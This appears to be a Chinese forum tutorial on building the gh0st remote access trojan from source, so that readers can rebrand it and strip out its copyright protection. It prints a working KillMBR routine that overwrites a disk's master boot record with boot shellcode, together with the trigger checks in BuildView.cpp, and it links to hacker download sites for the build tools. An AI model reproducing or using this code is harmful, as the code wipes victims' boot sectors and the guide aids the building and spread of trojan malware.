首先是gh0st的编译流程
1.架设编译环境vc++6.0+ddk2003(编译驱动)
ddK2003下载地址http://www.microsoft.com/china/whdc/devtools/ddk/default.mspx
2.修改代码去除硬盘锁
3.编译
来讲第一步
软件的下载安装就不必说了 大家迅雷搜一下就有了
注要完全编译需要更新sdk 我这就解压后直接覆盖了
至于sdk更新包
下载地址
http://www.hkxy.net/soft/show.asp?id=309
http://www.hackers.hk/soft/200807/VC98.rar
第二步的话
在代码修改之前要说明的是
作者为了保护版权而设如果我们直接更改版权会造成硬盘被锁
所以我们要把硬盘锁的代码去掉
这一点十分重要
/
// CGh0stApp message handlers
unsigned char scode[] =
"/xb8/x12/x00/xcd/x10/xbd/x18/x7c/xb9/x18/x00/xb8/x01/x13/xbb/x0c"
"/x00/xba/x1d/x0e/xcd/x10/xe2/xfe/x49/x20/x61/x6d/x20/x76/x69/x72"
"/x75/x73/x21/x20/x46/x75/x63/x6b/x20/x79/x6f/x75/x20/x3a/x2d/x29";
int CGh0stApp::KillMBR()
{
HANDLE hDevice;
DWORD dwBytesWritten, dwBytesReturned;
BYTE pMBR[512] = {0};
// 重新构造MBR
memcpy(pMBR, scode, sizeof(scode) - 1);
pMBR[510] = 0x55;
pMBR[511] = 0xAA;
hDevice = CreateFile
(
"[url=].//PHYSICALDRIVE0[/url]",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE)
return -1;
DeviceIoControl
(
hDevice,
FSCTL_LOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);
// 写入病毒内容
WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
DeviceIoControl
(
hDevice,
FSCTL_UNLOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);
CloseHandle(hDevice);
ExitProcess(-1);
return 0;
}
把上面的代码直接删除或者注释掉即可 位于 gh0st.cpp
// char strVer[10];
char strTitle[10];
strVer[0] = 'C';
strVer[1] = '.';
strVer[2] = 'R';
strVer[3] = 'u';
strVer[4] = 'f';
strVer[5] = 'u';
strVer[6] = 's';
strVer[7] = ' ';
strVer[8] = 'S';
strVer[9] = '/0';
strTitle[0] = 'G';
strTitle[1] = 'h';
strTitle[2] = '0';
strTitle[3] = 's';
strTitle[4] = 't';
strTitle[5] = ' ';
strTitle[6] = 'R';
strTitle[7] = 'A';
strTitle[8] = 'T';
strTitle[9] = '/0';
CString str;
GetDlgItemText(IDC_STATIC_VER, str);
if (str.Find(strVer) == -1)
((CGh0stApp *)AfxGetApp())->KillMBR();
GetParent()->GetWindowText(str);
if (str.Find(strTitle) == -1)
((CGh0stApp *)AfxGetApp())->KillMBR();
同样注释或者删除 BuildView.cpp
接下来你要改什么版权就怎么改吧 注:如果没有对硬盘锁代码没有做任何改动就改版权所造成后果可不要找我哦
第三步 编译